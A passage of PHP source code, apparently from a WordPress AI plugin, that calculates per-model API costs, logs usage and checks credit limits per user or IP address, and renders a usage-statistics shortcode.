"prompt_price" => 0.0005, "completion_price" => 0.0005, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-ada", "prompt_price" => 0.0004, "completion_price" => 0.0004, "type" => "token", "unit" => 1 / 1000, "options" => [], ], ]; //https://www-files.anthropic.com/production/images/model_pricing_nov2023.pdf $claude_pricing = [ // Base models: [ "model" => "claude-instant-1", "prompt_price" => 0.00163, "completion_price" => 0.00551, "type" => "token", "unit" => 1 / 1000, "options" => [], ],[ "model" => "claude-instant-1.2", "prompt_price" => 0.00163, "completion_price" => 0.00551, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "claude-2.0", "prompt_price" => 0.008, "completion_price" => 0.024, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "claude-2.1", "prompt_price" => 0.008, "completion_price" => 0.024, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "claude-3-opus-20240229", "prompt_price" => 0.015, "completion_price" => 0.075, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "claude-3-sonnet-20240229", "prompt_price" => 0.003, "completion_price" => 0.015, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "claude-3-haiku-20240307", "prompt_price" => 0.00025, "completion_price" => 0.00125, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "claude-3-5-sonnet-20240620", "prompt_price" => 0.003, "completion_price" => 0.015, "type" => "token", "unit" => 1 / 1000, "options" => [], ] ]; $google_pricing = [ // Base models: [ "model" => "gemini-pro", "prompt_price" => 0, "completion_price" => 0, "type" => "token", "unit" => 1 / 1000, "options" => [], ],[ "model" => "gemini-1.5-pro-latest", "prompt_price" => 0, "completion_price" => 0, "type" => "token", "unit" => 1 / 1000, "options" => [], ],[ "model" => "gemini-1.5-flash-latest", "prompt_price" => 0, "completion_price" => 0, "type" => "token", "unit" => 1 / 1000, "options" => [], ],[ "model" => "gemini-1.0-pro", "prompt_price" => 0, "completion_price" => 0, "type" => "token", "unit" => 1 / 1000, "options" => [], ],[ "model" => "chat-bison-001", "prompt_price" => 0, "completion_price" => 0, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "text-bison-001", "prompt_price" => 0, "completion_price" => 0, "type" => "token", "unit" => 1 / 1000, "options" => [], ] ]; //https://docs.perplexity.ai/docs/pricing $perplexity_pricing = [ // Base models: [ "model" => "llama-3-sonar-small-32k-chat", "prompt_price" => 0.0002, "completion_price" => 0.0002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "llama-3-sonar-small-32k-online", "prompt_price" => 0.0002, "completion_price" => 0.0002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "llama-3-sonar-large-32k-chat", "prompt_price" => 0.0006, "completion_price" => 0.0006, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "llama-3-sonar-large-32k-online", "prompt_price" => 0.0006, "completion_price" => 0.0006, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "llama-3-8b-instruct", "prompt_price" => 0.0002, "completion_price" => 0.0002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "llama-3-70b-instruct", "prompt_price" => 0.001, "completion_price" => 0.001, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "mixtral-8x7b-instruct", "prompt_price" => 0.0006, "completion_price" => 0.0006, "type" => "token", "unit" => 1 / 1000, "options" => [], ] ]; if (aiomatic_check_if_midjourney($model)) { foreach ($midjourney_pricing as $price) { if ($price["model"] == $model) { if ($price["type"] == "image") { if (!$option) { aiomatic_log_to_file("Image models require an option."); return 0; } else { foreach ($price["options"] as $imageType) { if ($imageType["option"] == $option) { $response_price = $imageType["price"] * $response_units; return $response_price; } } } } else { $response_price = $price["completion_price"] * $price["unit"] * $response_units; $prompt_price = $price["prompt_price"] * $price["unit"] * $prompt_units; return $response_price + $prompt_price; } } } } elseif (aiomatic_is_claude_model($model)) { foreach ($claude_pricing as $price) { if ($price["model"] == $model) { if ($price["type"] == "image") { if (!$option) { aiomatic_log_to_file("Image models require an option."); return 0; } else { foreach ($price["options"] as $imageType) { if ($imageType["option"] == $option) { $response_price = $imageType["price"] * $response_units; return $response_price; } } } } else { $response_price = $price["completion_price"] * $price["unit"] * $response_units; $prompt_price = $price["prompt_price"] * $price["unit"] * $prompt_units; return $response_price + $prompt_price; } } } } elseif (aiomatic_is_google_model($model)) { foreach ($google_pricing as $price) { if ($price["model"] == $model) { if ($price["type"] == "image") { if (!$option) { aiomatic_log_to_file("Image models require an option."); return 0; } else { foreach ($price["options"] as $imageType) { if ($imageType["option"] == $option) { $response_price = $imageType["price"] * $response_units; return $response_price; } } } } else { $response_price = $price["completion_price"] * $price["unit"] * $response_units; $prompt_price = $price["prompt_price"] * $price["unit"] * $prompt_units; return $response_price + $prompt_price; } } } } elseif (aiomatic_is_huggingface_model($model) || $model == 'huggingface') { $response_price = 0; $prompt_price = 0; return $response_price + $prompt_price; } elseif (aiomatic_is_ollama_model($model) || $model == 'ollama') { $response_price = 0; $prompt_price = 0; return $response_price + $prompt_price; } elseif (aiomatic_is_openrouter_model($model)) { $response_price = 0; $prompt_price = 0; return $response_price + $prompt_price; } elseif (aiomatic_is_perplexity_model($model)) { foreach ($perplexity_pricing as $price) { if ($price["model"] == $model) { if ($price["type"] == "image") { if (!$option) { aiomatic_log_to_file("Image models require an option."); return 0; } else { foreach ($price["options"] as $imageType) { if ($imageType["option"] == $option) { $response_price = $imageType["price"] * $response_units; return $response_price; } } } } else { $response_price = $price["completion_price"] * $price["unit"] * $response_units; $prompt_price = $price["prompt_price"] * $price["unit"] * $prompt_units; return $response_price + $prompt_price; } } } } elseif (aiomatic_check_if_azure($aiomatic_Main_Settings)) { foreach ($azure_pricing as $price) { if ($price["model"] == $model) { if ($price["type"] == "image") { if (!$option) { aiomatic_log_to_file("Image models require an option."); return 0; } else { foreach ($price["options"] as $imageType) { if ($imageType["option"] == $option) { $response_price = $imageType["price"] * $response_units; return $response_price; } } } } else { $response_price = $price["completion_price"] * $price["unit"] * $response_units; $prompt_price = $price["prompt_price"] * $price["unit"] * $prompt_units; return $response_price + $prompt_price; } } } } else { foreach ($openai_pricing as $price) { if ($price["model"] == $model) { if ($price["type"] == "image") { if (!$option) { aiomatic_log_to_file("Image models require an option."); return 0; } else { foreach ($price["options"] as $imageType) { if ($imageType["option"] == $option) { $response_price = $imageType["price"] * $response_units; return $response_price; } } } } else { $response_price = $price["completion_price"] * $price["unit"] * $response_units; $prompt_price = $price["prompt_price"] * $price["unit"] * $prompt_units; return $response_price + $prompt_price; } } } } aiomatic_log_to_file("Invalid model (" . $model . ")."); return 0; } function getVisionPrice($model) { if($model == 'gpt-4-vision-preview') { return 0.00085; } return 0; } function getPrice($query, $answer) { $prompt_units = 0; $response_units = 0; $model = $query->model; $modelBase = null; $option = ""; if ($query->mode == "text") { if (preg_match("/^([a-zA-Z]{0,32}):/", $model, $matches)) { if($matches[1] != 'ft') { $modelBase = "fn-" . $matches[1]; } else { if(aiomatic_starts_with($model, 'ft:davinci-002')) { $modelBase = "fn-davinci"; } elseif(aiomatic_starts_with($model, 'ft:babbage-002')) { $modelBase = "fn-babbage"; } elseif(aiomatic_starts_with($model, 'ft:gpt-3.5-turbo')) { $modelBase = "fn-turbo"; } elseif(aiomatic_starts_with($model, 'ft:gpt-4')) { $modelBase = "fn-gpt4"; } else { aiomatic_log_to_file("Cannot find the base model for trained model $model."); return null; } } } elseif ( preg_match("/^(?:text|code)-(\w+)-\d+/", $model, $matches) ) { $modelBase = $matches[1]; } elseif (aiomatic_is_chatgpt_model($model)) { if (stristr($model, "turbo") !== false) { if (stristr($model, "turbo-16k") !== false) { $modelBase = "chatgpt-16k"; } else { $modelBase = "chatgpt"; } } else { if (stristr($model, "32k") !== false) { $modelBase = "gpt4-32k"; } else { $modelBase = "gpt4"; } } } elseif (aiomatic_is_claude_model($model)) { $modelBase = $model; } elseif (aiomatic_is_chatgpt_turbo_model($model)) { $modelBase = 'gpt4-turbo'; } elseif (aiomatic_is_chatgpt_o_mini_model($model)) { $modelBase = 'gpt4omini'; } elseif (aiomatic_is_chatgpt_o_model($model)) { $modelBase = 'gpt4o'; } elseif (aiomatic_is_perplexity_model($model)) { $modelBase = $model; } elseif (aiomatic_is_huggingface_model($model)) { $modelBase = 'huggingface'; } elseif (aiomatic_is_ollama_model($model)) { $modelBase = 'ollama'; } else { $modelBase = 'gpt-instruct'; } if (empty($modelBase)) { aiomatic_log_to_file("Cannot find the base model for $model."); return null; } if (isset($query->prompt) && is_string($query->prompt)) { $prompt_units = count(aiomatic_encode($query->prompt)); } if (is_string($answer)) { $response_units = count(aiomatic_encode($answer)); } else { if (isset($answer->usage->total_tokens)) { $response_units = $answer->usage->total_tokens; } else { if (isset($answer['content'][0]['text']['value'])) { $response_units = count( aiomatic_encode($answer['content'][0]['text']['value']) ); } else { aiomatic_log_to_file( "Error, textual answer does not have total_tokens: " . print_r($answer, true) ); return false; } } } } elseif ($query->mode == "image") { $modelBase = $query->model; $response_units = 1; if (isset($query->image_size)) { $option = $query->image_size; } } elseif ($query->mode == "stable") { $modelBase = "stable-diffusion"; $response_units = 1; if (isset($query->image_size)) { $option = $query->image_size; } } elseif ($query->mode == "edit") { if (preg_match("/^([a-zA-Z]{0,32}):/", $model, $matches)) { if($matches[1] != 'ft') { $modelBase = "fn-" . $matches[1]; } else { if(aiomatic_starts_with($model, 'ft:davinci-002')) { $modelBase = "fn-davinci"; } elseif(aiomatic_starts_with($model, 'ft:babbage-002')) { $modelBase = "fn-babbage"; } elseif(aiomatic_starts_with($model, 'ft:gpt-3.5-turbo')) { $modelBase = "fn-turbo"; } elseif(aiomatic_starts_with($model, 'ft:gpt-4')) { $modelBase = "fn-gpt4"; } else { aiomatic_log_to_file("Cannot find the base model for trained model $model."); return null; } } } elseif ( preg_match("/^(?:text|code)-(\w+)-edit-\d+/", $model, $matches) ) { $modelBase = $matches[1]; } if (empty($modelBase)) { aiomatic_log_to_file("Cannot find the base model for $model."); return null; } if (isset($query->prompt) && is_string($query->prompt)) { $prompt_units = count(aiomatic_encode($query->prompt)); } if (is_string($answer)) { $response_units = count(aiomatic_encode($answer)); } else { if (isset($answer->usage->total_tokens)) { $response_units = $answer->usage->total_tokens; } else { if (isset($answer['content'][0]['text']['value'])) { $response_units = count( aiomatic_encode($answer['content'][0]['text']['value']) ); } else { aiomatic_log_to_file( "Error, textual answer does not have total_tokens: " . print_r($answer, true) ); return false; } } } } elseif ($query->mode == "embeddings") { $modelBase = $query->model; $response_units = 1; if (isset($query->prompt) && is_string($query->prompt)) { $prompt_units = count(aiomatic_encode($query->prompt)); } if (is_string($answer)) { $response_units = count(aiomatic_encode($answer)); } else { if (isset($answer["usage"]["total_tokens"])) { $response_units = $answer["usage"]["total_tokens"]; } elseif (isset($answer->usage->total_tokens)) { $response_units = $answer->usage->total_tokens; } elseif (isset($answer[0]->usage->total_tokens)) { $response_units = $answer[0]->usage->total_tokens; } else { aiomatic_log_to_file( "Error, embedding answer does not have total_tokens: " . print_r($answer, true) ); return false; } } } else { aiomatic_log_to_file("Unknown query: " . print_r($query, true)); } return $this->calculatePrice( $modelBase, $response_units, $prompt_units, $option ); } function addCasually($query, $answer, $overrides) { $type = null; $units = 0; if ($query->mode == "text" || $query->mode == "edit") { $type = "tokens"; if (is_string($answer)) { $units = count(aiomatic_encode($answer)) + count(aiomatic_encode($query->prompt)); } else { if (aiomatic_is_aiomaticapi_key($query->apiKey)) { if (isset($answer->content)) { $response_units = count( aiomatic_encode($answer->content) ); $prompt_units = count(aiomatic_encode($query->prompt)); $units = $prompt_units + $response_units; } else { aiomatic_log_to_file( "Error, AiomaticAPI text answer does not have defined layout: " . print_r($answer, true) ); return false; } } else { if (isset($answer->usage->total_tokens)) { $units = $answer->usage->total_tokens; } else { if (isset($answer['content'][0]['text']['value'])) { $response_units = count( aiomatic_encode($answer['content'][0]['text']['value']) ); $prompt_units = count(aiomatic_encode($query->prompt)); $units = $prompt_units + $response_units; } else { aiomatic_log_to_file( "Error, text answer does not have total_tokens: " . print_r($answer, true) ); return false; } } } } } elseif ($query->mode == "image") { $type = "images"; $units = 1; } elseif ($query->mode == "video") { $type = "videos"; $units = 1; } elseif ($query->mode == "stable") { $type = "images"; $units = 1; } elseif ($query->mode == "text-to-speech") { $type = "characters"; $units = strlen($answer); } elseif ($query->mode == "embeddings") { $type = "tokens"; if (isset($answer["usage"]["total_tokens"])) { $units = $answer["usage"]["total_tokens"]; } else { $units = count(aiomatic_encode($query->prompt)); } } $stats = [ "env" => $query->env, "session" => $query->session, "mode" => $query->mode, "model" => $query->model, "assistant_id" => $query->assistant_id, "apiRef" => $query->apiKey, "units" => $units, "type" => $type, ]; $stats = array_merge($stats, $overrides); if (empty($stats["price"])) { if ($query->mode == "text-to-speech") { if($query->model == 'elevenlabs') { $stats["price"] = 0; } elseif($query->model == 'google') { $stats["price"] = 0.000004 * $units; } elseif($query->model == 'd-id') { $stats["price"] = 0; } elseif($query->model == 'openai-tts-1') { $stats["price"] = 0.000015 * $units; } elseif($query->model == 'openai-tts-1-hd') { $stats["price"] = 0.00003 * $units; } else { $stats["price"] = 0; } } else { if (aiomatic_is_aiomaticapi_key($query->apiKey)) { $stats["price"] = 0; } elseif($stats['type'] == 'videos') { $stats["price"] = 0; } else { $stats["price"] = $this->getPrice($query, $answer); } } } return $this->add($stats); } function getUserId($data = null) { if (isset($data) && isset($data["userId"])) { return (int) $data["userId"]; } if (is_user_logged_in()) { $current_user = wp_get_current_user(); if ($current_user->ID > 0) { return $current_user->ID; } } return null; } function buildTagsForDb($tags) { if (is_array($tags)) { $tags = implode("|", $tags); } if (!empty($tags)) { $tags .= "|"; } else { $tags = null; } return $tags; } function getUserIpAddress($data = null) { if (isset($data) && isset($data["ip"])) { $data["ip"] = (string) $data["ip"]; } else { if (isset($_SERVER["REMOTE_ADDR"])) { $data["ip"] = $_SERVER["REMOTE_ADDR"]; } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) { $data["ip"] = $_SERVER["HTTP_CLIENT_IP"]; } elseif (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $data["ip"] = $_SERVER["HTTP_X_FORWARDED_FOR"]; } } return $data["ip"]; } function query( $timeFrame = null, $isAbsolute = null, $credits = null, $credit_type = null, $userId = null, $ipAddress = null, $apiRef = null ) { if ($apiRef === null) { $apiRef = $this->apiRef; } $target = "guests"; if ($userId === null && $ipAddress === null) { $userId = $this->getUserId(); if ($userId) { $target = "users"; } else { $ipAddress = $this->getUserIpAddress(); if ($ipAddress === null) { aiomatic_log_to_file( "There should be an userId or an ipAddress." ); return null; } } } $aiomatic_Limit_Settings = get_option("aiomatic_Limit_Settings", false); if ($target == "guests") { if ($credits === null) { if ( isset($aiomatic_Limit_Settings["guest_credits"]) && $aiomatic_Limit_Settings["guest_credits"] != "" ) { $hasLimits = true; } else { $hasLimits = false; } } else { $hasLimits = true; } if ($timeFrame === null) { if ( isset($aiomatic_Limit_Settings["guest_time_frame"]) && $aiomatic_Limit_Settings["guest_time_frame"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["guest_time_frame"]; } else { $timeFrame = "day"; } } if ($isAbsolute === null) { if ( isset($aiomatic_Limit_Settings["is_absolute_guest"]) && $aiomatic_Limit_Settings["is_absolute_guest"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } if ($credits === null) { if ( isset($aiomatic_Limit_Settings["guest_credits"]) && $aiomatic_Limit_Settings["guest_credits"] != "" ) { $credits = $aiomatic_Limit_Settings["guest_credits"]; } else { $credits = ""; } } if ($credit_type === null) { if ( isset($aiomatic_Limit_Settings["guest_credit_type"]) && $aiomatic_Limit_Settings["guest_credit_type"] != "" ) { $credit_type = $aiomatic_Limit_Settings["guest_credit_type"]; } else { $credit_type = "queries"; } } } else { if ($credits === null) { if ( isset($aiomatic_Limit_Settings["user_credits"]) && $aiomatic_Limit_Settings["user_credits"] != "" ) { $hasLimits = true; } else { $hasLimits = false; } } else { $hasLimits = true; } if ($timeFrame === null) { if ( isset($aiomatic_Limit_Settings["user_time_frame"]) && $aiomatic_Limit_Settings["user_time_frame"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["user_time_frame"]; } else { $timeFrame = "day"; } } if ($isAbsolute === null) { if ( isset($aiomatic_Limit_Settings["is_absolute_user"]) && $aiomatic_Limit_Settings["is_absolute_user"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } if ($credits === null) { if ( isset($aiomatic_Limit_Settings["user_credits"]) && $aiomatic_Limit_Settings["user_credits"] != "" ) { $credits = $aiomatic_Limit_Settings["user_credits"]; } else { $credits = ""; } } if ($credit_type === null) { if ( isset($aiomatic_Limit_Settings["user_credit_type"]) && $aiomatic_Limit_Settings["user_credit_type"] != "" ) { $credit_type = $aiomatic_Limit_Settings["user_credit_type"]; } else { $credit_type = "queries"; } } } if ( $timeFrame !== "day" && $timeFrame !== "week" && $timeFrame !== "month" && $timeFrame !== "year" ) { aiomatic_log_to_file( "TimeFrame should be day, week, month, or year." ); return null; } if ( $credit_type == 'pdf' || $credit_type == 'pdfchar' ) { return null; } $this->check_db(); $prefix = esc_sql($this->wpdb->prefix); $sql = "SELECT COUNT(*) AS queries, SUM(units) AS units, SUM(price) AS price FROM {$prefix}aiomatic_logs WHERE "; if ($target === "users") { $sql .= "userId = " . esc_sql($userId) . ""; } else { $sql .= "ip = '" . esc_sql($ipAddress) . "'"; } if ($apiRef) { $sql .= " AND apiRef = '" . esc_sql($apiRef) . "'"; } if ($timeFrame === "day") { if ($isAbsolute) { $sql .= " AND DAY(time) = DAY(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 DAY)"; } } elseif ($timeFrame === "week") { if ($isAbsolute) { $sql .= " AND WEEK(time) = WEEK(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 WEEK)"; } } elseif ($timeFrame === "month") { if ($isAbsolute) { $sql .= " AND MONTH(time) = MONTH(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)"; } } elseif ($timeFrame === "year") { if ($isAbsolute) { $sql .= " AND YEAR(time) = YEAR(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 YEAR)"; } } $results = $this->wpdb->get_results($sql); if (count($results) === 0) { return null; } $result = $results[0]; $stats = []; $stats["userId"] = $userId; $stats["ipAddress"] = $ipAddress; $stats["queries"] = intVal($result->queries); $stats["units"] = intVal($result->units); $stats["price"] = round(floatVal($result->price), 2); $stats["queriesLimit"] = intVal( $hasLimits && $credit_type === "queries" ? $credits : 0 ); $stats["unitsLimit"] = intVal( $hasLimits && $credit_type === "units" ? $credits : 0 ); $stats["priceLimit"] = floatVal( $hasLimits && $credit_type === "price" ? $credits : 0 ); $credits = apply_filters("aiomatic_stats_credits", $credits, $userId); $stats["overLimit"] = false; if ($hasLimits) { if ($credit_type === "queries") { $stats["overLimit"] = $stats["queries"] >= $credits; $stats["usagePercentage"] = $stats["queriesLimit"] > 0 ? round( ($stats["queries"] / $stats["queriesLimit"]) * 100, 2 ) : 0; } elseif ($credit_type === "units") { $stats["overLimit"] = $stats["units"] >= $credits; $stats["usagePercentage"] = $stats["unitsLimit"] > 0 ? round( ($stats["units"] / $stats["unitsLimit"]) * 100, 2 ) : 0; } elseif ($credit_type === "price") { $stats["overLimit"] = $stats["price"] >= $credits; $stats["usagePercentage"] = $stats["priceLimit"] > 0 ? round( ($stats["price"] / $stats["priceLimit"]) * 100, 2 ) : 0; } } return $stats; } function query_tts( $timeFrame = null, $isAbsolute = null, $credits = null, $credit_type = null, $userId = null, $ipAddress = null, $apiRef = null ) { if ($apiRef === null) { $apiRef = $this->apiRef; } $target = "guests"; if ($userId === null && $ipAddress === null) { $userId = $this->getUserId(); if ($userId) { $target = "users"; } else { $ipAddress = $this->getUserIpAddress(); if ($ipAddress === null) { aiomatic_log_to_file( "There should be an userId or an ipAddress." ); return null; } } } $aiomatic_Limit_Settings = get_option("aiomatic_Limit_Settings", false); if ($target == "guests") { if ($credits === null) { if ( isset($aiomatic_Limit_Settings["guest_credits_text"]) && $aiomatic_Limit_Settings["guest_credits_text"] != "" ) { $hasLimits = true; } else { $hasLimits = false; } } else { $hasLimits = true; } if ($timeFrame === null) { if ( isset($aiomatic_Limit_Settings["guest_time_frame_text"]) && $aiomatic_Limit_Settings["guest_time_frame_text"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["guest_time_frame_text"]; } else { $timeFrame = "day"; } } if ($isAbsolute === null) { if ( isset($aiomatic_Limit_Settings["is_absolute_guest_text"]) && $aiomatic_Limit_Settings["is_absolute_guest_text"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } if ($credits === null) { if ( isset($aiomatic_Limit_Settings["guest_credits_text"]) && $aiomatic_Limit_Settings["guest_credits_text"] != "" ) { $credits = $aiomatic_Limit_Settings["guest_credits_text"]; } else { $credits = ""; } } if ($credit_type === null) { if ( isset($aiomatic_Limit_Settings["guest_credit_type_text"]) && $aiomatic_Limit_Settings["guest_credit_type_text"] != "" ) { $credit_type = $aiomatic_Limit_Settings["guest_credit_type_text"]; } else { $credit_type = "characters"; } } } else { if ($credits === null) { if ( isset($aiomatic_Limit_Settings["user_credits_text"]) && $aiomatic_Limit_Settings["user_credits_text"] != "" ) { $hasLimits = true; } else { $hasLimits = false; } } else { $hasLimits = true; } if ($timeFrame === null) { if ( isset($aiomatic_Limit_Settings["user_time_frame_text"]) && $aiomatic_Limit_Settings["user_time_frame_text"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["user_time_frame_text"]; } else { $timeFrame = "day"; } } if ($isAbsolute === null) { if ( isset($aiomatic_Limit_Settings["is_absolute_user_text"]) && $aiomatic_Limit_Settings["is_absolute_user_text"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } if ($credits === null) { if ( isset($aiomatic_Limit_Settings["user_credits_text"]) && $aiomatic_Limit_Settings["user_credits_text"] != "" ) { $credits = $aiomatic_Limit_Settings["user_credits_text"]; } else { $credits = ""; } } if ($credit_type === null) { if ( isset($aiomatic_Limit_Settings["user_credit_type_text"]) && $aiomatic_Limit_Settings["user_credit_type_text"] != "" ) { $credit_type = $aiomatic_Limit_Settings["user_credit_type_text"]; } else { $credit_type = "characters"; } } } if ( $timeFrame !== "day" && $timeFrame !== "week" && $timeFrame !== "month" && $timeFrame !== "year" ) { aiomatic_log_to_file( "TimeFrame should be day, week, month, or year." ); return null; } $this->check_db(); $prefix = esc_sql($this->wpdb->prefix); $sql = "SELECT COUNT(*) AS queries, SUM(units) AS units, SUM(price) AS price FROM {$prefix}aiomatic_logs WHERE "; if ($target === "users") { $sql .= "userId = " . esc_sql($userId) . ""; } else { $sql .= "ip = '" . esc_sql($ipAddress) . "'"; } if ($apiRef) { $sql .= " AND apiRef = '" . esc_sql($apiRef) . "'"; } $sql .= " AND mode = 'text-to-speech'"; if ($timeFrame === "day") { if ($isAbsolute) { $sql .= " AND DAY(time) = DAY(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 DAY)"; } } elseif ($timeFrame === "week") { if ($isAbsolute) { $sql .= " AND WEEK(time) = WEEK(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 WEEK)"; } } elseif ($timeFrame === "month") { if ($isAbsolute) { $sql .= " AND MONTH(time) = MONTH(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)"; } } elseif ($timeFrame === "year") { if ($isAbsolute) { $sql .= " AND YEAR(time) = YEAR(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 YEAR)"; } } $results = $this->wpdb->get_results($sql); if (count($results) === 0) { return null; } $result = $results[0]; $stats = []; $stats["userId"] = $userId; $stats["ipAddress"] = $ipAddress; $stats["queries"] = intVal($result->queries); $stats["units"] = intVal($result->units); $stats["price"] = round(floatVal($result->price), 2); $stats["queriesLimit"] = intVal( $hasLimits && $credit_type === "queries" ? $credits : 0 ); $stats["unitsLimit"] = intVal( $hasLimits && $credit_type === "characters" ? $credits : 0 ); $stats["priceLimit"] = floatVal( $hasLimits && $credit_type === "price" ? $credits : 0 ); $credits = apply_filters("aiomatic_stats_credits", $credits, $userId); $stats["overLimit"] = false; if ($hasLimits) { if ($credit_type === "queries") { $stats["overLimit"] = $stats["queries"] >= $credits; $stats["usagePercentage"] = $stats["queriesLimit"] > 0 ? round( ($stats["queries"] / $stats["queriesLimit"]) * 100, 2 ) : 0; } elseif ($credit_type === "characters") { $stats["overLimit"] = $stats["units"] >= $credits; $stats["usagePercentage"] = $stats["unitsLimit"] > 0 ? round( ($stats["units"] / $stats["unitsLimit"]) * 100, 2 ) : 0; } elseif ($credit_type === "price") { $stats["overLimit"] = $stats["price"] >= $credits; $stats["usagePercentage"] = $stats["priceLimit"] > 0 ? round( ($stats["price"] / $stats["priceLimit"]) * 100, 2 ) : 0; } } return $stats; } public function deleteUsageEntries( $timeFrame = null, $isAbsolute = null, $userId = null, $ipAddress = null, $apiRef = null ) { if ($apiRef === null) { $apiRef = $this->apiRef; } $target = "guests"; if ($userId) { $target = "users"; } if ($userId === null && $ipAddress === null) { $userId = $this->getUserId(); if ($userId) { $target = "users"; } else { $ipAddress = $this->getUserIpAddress(); if ($ipAddress === null) { aiomatic_log_to_file( "There should be an userId or an ipAddress." ); return null; } } } if ( $timeFrame !== "day" && $timeFrame !== "week" && $timeFrame !== "month" && $timeFrame !== "year" && $timeFrame !== "all" ) { aiomatic_log_to_file( "TimeFrame should be day, week, month, year or all." ); return null; } $this->check_db(); $prefix = esc_sql($this->wpdb->prefix); $sql = "DELETE FROM {$prefix}aiomatic_logs WHERE "; if ($target === "users") { $sql .= "userId = " . esc_sql($userId) . ""; } else { $sql .= "ip = '" . esc_sql($ipAddress) . "'"; } if ($apiRef) { $sql .= " AND apiRef = '" . esc_sql($apiRef) . "'"; } if ($timeFrame === "day") { if ($isAbsolute) { $sql .= " AND DAY(time) = DAY(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 DAY)"; } } elseif ($timeFrame === "week") { if ($isAbsolute) { $sql .= " AND WEEK(time) = WEEK(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 WEEK)"; } } elseif ($timeFrame === "month") { if ($isAbsolute) { $sql .= " AND MONTH(time) = MONTH(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH)"; } } elseif ($timeFrame === "year") { if ($isAbsolute) { $sql .= " AND YEAR(time) = YEAR(CURRENT_DATE())"; } else { $sql .= " AND time >= DATE_SUB(CURRENT_DATE(), INTERVAL 1 YEAR)"; } } $result = $this->wpdb->query($sql); if ($result === false) { aiomatic_log_to_file("Error deleting usage entries."); return false; } return true; } function shortcode_current($atts) { $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); if ( isset($aiomatic_Limit_Settings["enable_limits"]) && trim($aiomatic_Limit_Settings["enable_limits"]) == "on" ) { $display = isset($atts["display"]) ? $atts["display"] : "usage"; $stats = $this->query(); if ($display === "usage") { $name = md5(get_bloginfo()); wp_register_style( $name . "-stats-style", plugins_url("../styles/stats-chatgpt.css", __FILE__), false, AIOMATIC_MAJOR_VERSION ); wp_enqueue_style($name . "-stats-style"); $percent = isset($stats["usagePercentage"]) ? $stats["usagePercentage"] : 0; $cssPercent = $percent > 100 ? 100 : $percent; $output = '<div class="aiomatic-statistics aiomatic-statistics-usage">'; $output .= '<div class="aiomatic-statistics-bar-container">'; $output .= '<div class="aiomatic-statistics-bar" style="width: ' . $cssPercent . '%;"></div>'; $output .= "</div>"; $output .= '<div class="aiomatic-statistics-bar-text">' . $percent . "%</div>"; $output .= "</div>"; return $output; } elseif ($display === "details") { if ($stats === null) { return "No stats available."; } $output = '<div class="aiomatic-statistics aiomatic-statistics-debug">'; if (!empty($stats["ipAddress"])) { $output .= "IP Address: {$stats["ipAddress"]}<br>"; } $output .= "Queries: {$stats["queries"]}" . (!empty($stats["queriesLimit"]) ? " / {$stats["queriesLimit"]}" : "") . "<br>"; $output .= "Tokens (Units): {$stats["units"]}" . (!empty($stats["unitsLimit"]) ? " / {$stats["unitsLimit"]}" : "") . "<br>"; $output .= "Dollars (Price): {$stats["price"]}" . (!empty($stats["priceLimit"]) ? " / {$stats["priceLimit"]}" : "") . "<br>"; if (isset($stats["usagePercentage"])) { $output .= "Usage: {$stats["usagePercentage"]}%" . "<br>"; $output .= "Status: " . ($stats["overLimit"] ? "OVER LIMIT" : "OK"); } $output .= "</div>"; return $output; } } } function validate_data($data) { // env: Could be "textwriter", "chatbot", "imagesbot", or anything else $data["time"] = date("Y-m-d H:i:s"); $data["userId"] = $this->getUserId($data); $data["session"] = isset($data["session"]) ? (string) $data["session"] : null; $data["ip"] = $this->getUserIpAddress($data); $data["model"] = isset($data["model"]) ? (string) $data["model"] : null; $data["assistant_id"] = isset($data["assistant_id"]) ? (string) $data["assistant_id"] : null; $data["mode"] = isset($data["mode"]) ? (string) $data["mode"] : null; $data["units"] = isset($data["units"]) ? intval($data["units"]) : 0; $data["type"] = isset($data["type"]) ? (string) $data["type"] : null; $data["price"] = isset($data["price"]) ? floatval($data["price"]) : 0; $data["env"] = isset($data["env"]) 